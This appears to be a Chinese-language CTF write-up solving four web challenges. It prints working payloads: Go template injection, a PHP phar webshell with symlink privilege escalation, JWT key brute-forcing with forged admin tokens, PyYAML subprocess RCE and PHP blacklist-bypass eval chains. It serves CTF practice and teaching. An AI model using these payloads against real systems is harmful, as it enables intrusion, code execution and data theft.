ssti
先判断是哪种类型的ssti,通过 {{.}},发现是go语言类型的
并且返回 map[B64Decode:0x6ee380 exec:0x6ee120],由于go语言ssti的特性,因此猜测返回的是函数,并且可以被调用。
使用 {{exec "nl *"}} 成功获取到源码
发现黑名单,因为还有一个base64函数,双函数调用即可绕过waf。
payload:{{exec (B64Decode "Y2F0IC9mbGFn")}}
easy_readfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| <?php highlight_file(__FILE__);
function waf($data){ if (is_array($data)){ die("Cannot transfer arrays"); } if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) { die("You can't do"); } }
class Coral{ public $pivot;
public function __set($k, $value) { $k = $this->pivot->ctor; echo new $k($value); } }
class Nimbus{ public $handle; public $ctor;
public function __destruct() { return $this->handle(); } public function __call($name, $arg){ $arg[1] = $this->handle->$name; } }
class Zephyr{ public $target; public $payload; public function __get($prop) { $this->target->$prop = $this->payload; } }
class Acheron { public $mode;
public function __destruct(){ $data = $_POST[0]; if ($this->mode == 'w') { waf($data); $filename = "/tmp/".md5(rand()).".phar"; file_put_contents($filename, $data); echo $filename; } else if ($this->mode == 'r') { waf($data); $f = include($data); if($f){ echo "It is file"; } else{ echo "You can look at the others"; } } } }
if(strlen($_POST[1]) < 52) { $a = unserialize($_POST[1]); } else{ echo "str too long"; }
?>
|
分析代码,发现可以通过包含phar文件来RCE
waf里的检测可以用gzip压缩来绕过
生成恶意phar
1 2 3 4 5 6 7
| <?php $phar = new Phar('exp.phar'); $phar -> startBuffering(); $phar -> setStub("system('echo \"<?php eval(\$_POST[1]); ?>\" > /var/www/html/1.php');__HALT_COMPILER();"); $phar -> addFromString('exp.txt', 'exp'); $phar -> stopBuffering(); ?>
|
上传phar并获取路径
1 2 3 4 5 6 7 8
| import requests url = "http://web-ae0d45923a.challenge.xctf.org.cn/" with open("exp.phar.gz", "rb") as f: data = {"1": "O:7:\"Acheron\":1:{s:4:\"mode\";s:1:\"w\";}", "0": f.read()} r = requests.post(url=url, data=data) print(r.text)
|
然后包含这个phar,即可往根目录写入一句话木马
1 2
| post提交 0=/tmp/f8de37b2568b7fc98eddd39b06564c2c.phar&1=O:7:"Acheron":1:{s:4:"mode";s:1:"r";}
|
蚁剑连接,需要提权
注意到这个文件start.sh
1 2 3 4 5 6 7 8
| #!/bin/bash cd /var/www/html/ while : do cp -P * /var/www/html/backup/ chmod 755 -R /var/www/html/backup/ sleep 10 done
|
这是一个用于备份的定时任务,可以用来提权,打个软链接让它备份就行,由于 -P 选项不支持符号链接,所以先创建一个 -H 文件,这样就变成了 cp -P -H,后面可以跟符号链接
1 2 3 4
| echo "111">"-H" ln -s /flag flag.txt /start.sh cat backup/flag.txt
|
ez_python
抓包发现有 Authorization: Bearer xxxx
尝试无签名伪造,获得了提示
1
| {"error":"JWT Decode Failed. Key Hint","hint":"Key starts with "@o70xO$0%#qR9#**". The 2 missing chars are alphanumeric (letters and numbers)."}
|
那么可以本地先把密钥爆破出来
brute.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import base64, hmac, hashlib, string, json, time
TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E" PREFIX = "@o70xO$0%#qR9#" ALPHA = string.ascii_letters + string.digits
def b64url_decode(s: str) -> bytes: s += "=" * ((4 - len(s) % 4) % 4) return base64.urlsafe_b64decode(s)
def b64url_encode(b: bytes) -> str: return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header_b64, payload_b64, sig_b64 = TOKEN.split(".") msg = f"{header_b64}.{payload_b64}".encode() sig_bytes = b64url_decode(sig_b64)
print("[*] header.payload =", header_b64 + "." + payload_b64) print("[*] target sig len =", len(sig_bytes))
start = time.time() attempts = 0 found_key = None for c1 in ALPHA: for c2 in ALPHA: key = (PREFIX + c1 + c2).encode() mac = hmac.new(key, msg, hashlib.sha256).digest() attempts += 1 if mac == sig_bytes: found_key = key.decode() elapsed = time.time() - start print(f"\n[+] FOUND KEY: {found_key}") break if found_key: break
if not found_key: print("[-] No match found.(确认掩码/字符集是否正确,或 token 是否被更新)") raise SystemExit(1)
header = {"alg":"HS256","typ":"JWT"} payload = {"username":"guest","role":"admin"} h = b64url_encode(json.dumps(header,separators=(',',':')).encode()) p = b64url_encode(json.dumps(payload,separators=(',',':')).encode()) sig = hmac.new(found_key.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest() admin_jwt = f"{h}.{p}.{b64url_encode(sig)}" print("\n[+] Admin JWT (HS256, same key):") print(admin_jwt)
|
1 2 3
| [+] FOUND KEY: @o70xO$0%#qR9#m0 [+] Admin JWT (HS256, same key): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIn0.h6QY-f521uX-fy_wmBSN2oVCGKChY9MATy75bfaZ6iU
|
这一步过了,但是后面发现应该是有黑名单
1 2 3 4 5 6 7 8
| HTTP/1.1 400 BAD REQUEST Date: Mon, 08 Sep 2025 09:23:12 GMT Content-Type: application/json Content-Length: 39 Connection: close Server: TinyFat/0.99.75
{"error":"forbidden keyword detected"}
|
改用yaml打,很快就出了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| POST /sandbox HTTP/1.1 Host: web-88dd0f76a0.challenge.xctf.org.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://web-88dd0f76a0.challenge.xctf.org.cn/ Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIn0.h6QY-f521uX-fy_wmBSN2oVCGKChY9MATy75bfaZ6iU Content-Type: multipart/form-data; boundary=----geckoformboundary2054492fa1ccfbb7a56abd609eb2ae Content-Length: 391 Origin: http://web-88dd0f76a0.challenge.xctf.org.cn Connection: close Priority: u=0
------geckoformboundary2054492fa1ccfbb7a56abd609eb2ae Content-Disposition: form-data; name="codefile"; filename="exp.yaml" Content-Type: application/octet-stream
!!python/object/apply:subprocess.getoutput - | cat /f* ------geckoformboundary2054492fa1ccfbb7a56abd609eb2ae Content-Disposition: form-data; name="mode"
yaml ------geckoformboundary2054492fa1ccfbb7a56abd609eb2ae--
HTTP/1.1 200 OK Date: Mon, 08 Sep 2025 09:36:16 GMT Content-Type: application/json Content-Length: 52 Connection: close Server: TinyFat/0.99.75
{"result":"flag{JweT9rollXZoeiugJyxKHqkgOZslCPSW}"}
|
yaml反序列化打法还有很多,比如:
!!python/object/apply:subprocess.check_output [[cat,/f1111ag]]
ezbypass
1 2 3 4 5 6 7 8 9
| <?php $test=$_GET['test']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|implode|phpinfo|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|session_id|session_start|echo|readfile|highlight|show|source|file|assert/i", $test)){ eval($test); }else{ echo "oh nonono hacker!"; } highlight_file(__FILE__); ?>
|
可以用 () ! | 这几个符号。还有一些系统的函数。
无参数RCE明显可行
1 2 3 4
| GET /?test=system(join(apache_request_headers())); HTTP/1.1 Host: 80-45aeca2e-3108-4612-be1c-354243ae2715.challenge.ctfplus.cn Content-Length: 12 aaaa:`cp /flag test`
|
利用apache_request_headers没有禁止来搞定了
另外还有个比较绕的方法
代码里面是这样:eval($test)
当 ?test=include(aaa|ddd); 的时候,提示的是 找不到eee这个文件。
这个就是php 7.4的eval的第一个小特性,如果输入的是一个常量,那么默认解析为字符串。
所以这个就成了位操作 aaa|bbb => "aaa"|"bbb"
然后php 7的第2个小特性:call_user_func
禁用了那么多的函数而这个 call_user_func 可以呼叫字符串。所以结合第一个特性,就可以这么来呼叫 phpinfo()
1 2 3
| test=call_user_func(phpinfm|phpinfn); 等价于 "phpinfm"|"phpinfn"="phpinfo"
|
现在第三个,php的小函数– set_include_path 函数
这个函数可以设置 inlucde 的路径。意思就是把这个路径设置了后,就可以 include(flag); 来直接包含了。
问题是 / 被禁了。就需要想办法找到一个 / 进来。
第四个php的小特性:由于题目中禁了逗号,所以,call_user_func 是不能带参数的。所以就需要用到php的第四个小特性–ob方法
ob_start(callback)
这个callback是一个函数
第一个限制是这个func,必须可以进入两个参数,不然要报错。
第二个限制是传入传出都必须是字符串。
所以首先想到的是 base64_decode json_encode 这类的。
第二个特性是ob_start是可以套娃的,不停的套不停的输出。
这里 dirname 可以套进去,system(pwd) 可以得到一个目录路径。
所以一个思路就是:set_include_path(dirname(system(pwd)));include(flag);
所以最后就综合以上说的这些思路,给出其中一种解法:
1
| ?test=error_reporting(false);ob_start();ob_start(dibname|dipname);system(pwd);call_user_func(ob_and_flush|ob_dnd_flush);set_include_path(call_user_func(ob_gat_clean|ob_gdt_clean));include(flag);
|
下面按执行顺序把这个 payload 拆开讲清楚,为什么它能读到服务器根目录下的 /flag:
具体执行流程
error_reporting(false);
关掉报错,这样后面用未定义常量 flag(没有引号)时不会抛 Notice。
ob_start();
开启 外层输出缓冲(buffer#1)。
ob_start(dibname|dipname); → 等价 ob_start('dirname');
开启 内层输出缓冲(buffer#2),并指定 回调为 dirname。
这意味着:当我们结束/冲刷这个内层缓冲时,PHP 会把缓冲内容(字符串)交给 dirname($buffer) 处理,返回值再写入外层缓冲。
system(pwd);
黑名单里禁了 getcwd,但没禁 system 和命令 pwd。
这句把当前工作目录打印到 内层缓冲(例如常见是 / 或 /var/www/html,取决于服务环境)。
call_user_func(ob_and_flush|ob_dnd_flush); → 等价 call_user_func('ob_end_flush');
结束并把内层缓冲刷到外层。由于内层有回调 dirname,实际写入外层的是:dirname( pwd 的输出 ) 的结果。
- 如果
pwd 输出是 /,dirname('/') 仍是 /;
- 如果是
/var/www/html,结果会是 /var/www。
set_include_path( call_user_func(ob_gat_clean|ob_gdt_clean) );
→ 等价 set_include_path( call_user_func('ob_get_clean') );
ob_get_clean() 会取出并清空外层缓冲的内容,把它作为字符串返回。上一步我们写入了 dirname(pwd) 的结果,所以这里把 include_path 设置为该目录。
- 若上一步是
/,此处 include_path 变成 /;
- 若是
/var/www,则变为 /var/www。
include(flag);
黑名单禁了引号,不能写 include('/flag') 或 include("flag")。
在 PHP 里,未定义常量 flag 在关闭报错时会当作字符串 "flag" 使用。再加上我们刚把 include_path 设成了根目录 /(或一个包含 flag 文件的目录),于是 include(flag) 会去 include_path 下寻找名为 flag 的文件:
- 当
include_path 为 / 时 → 实际等价 include('/flag'),从而读取根目录的 flag 文件内容并输出。
这就是不写引号也能 “include /flag” 的关键链条:
pwd → 内缓冲 → dirname 处理 → 外缓冲 → ob_get_clean 取值 → set_include_path → include(flag)。
- 许多 CTF/容器环境里,PHP-FPM/CLI 的工作目录就是
/,system(pwd) 会输出 /,从而 dirname('/') 仍是 /,include_path 直接被设为 /,最后 include(flag) 即读取 /flag。
- 即便工作目录不是
/,只要 dirname(pwd) 指向了一个包含 flag 文件的目录(出题人可以把 flag 放在恰当位置),同样能读到。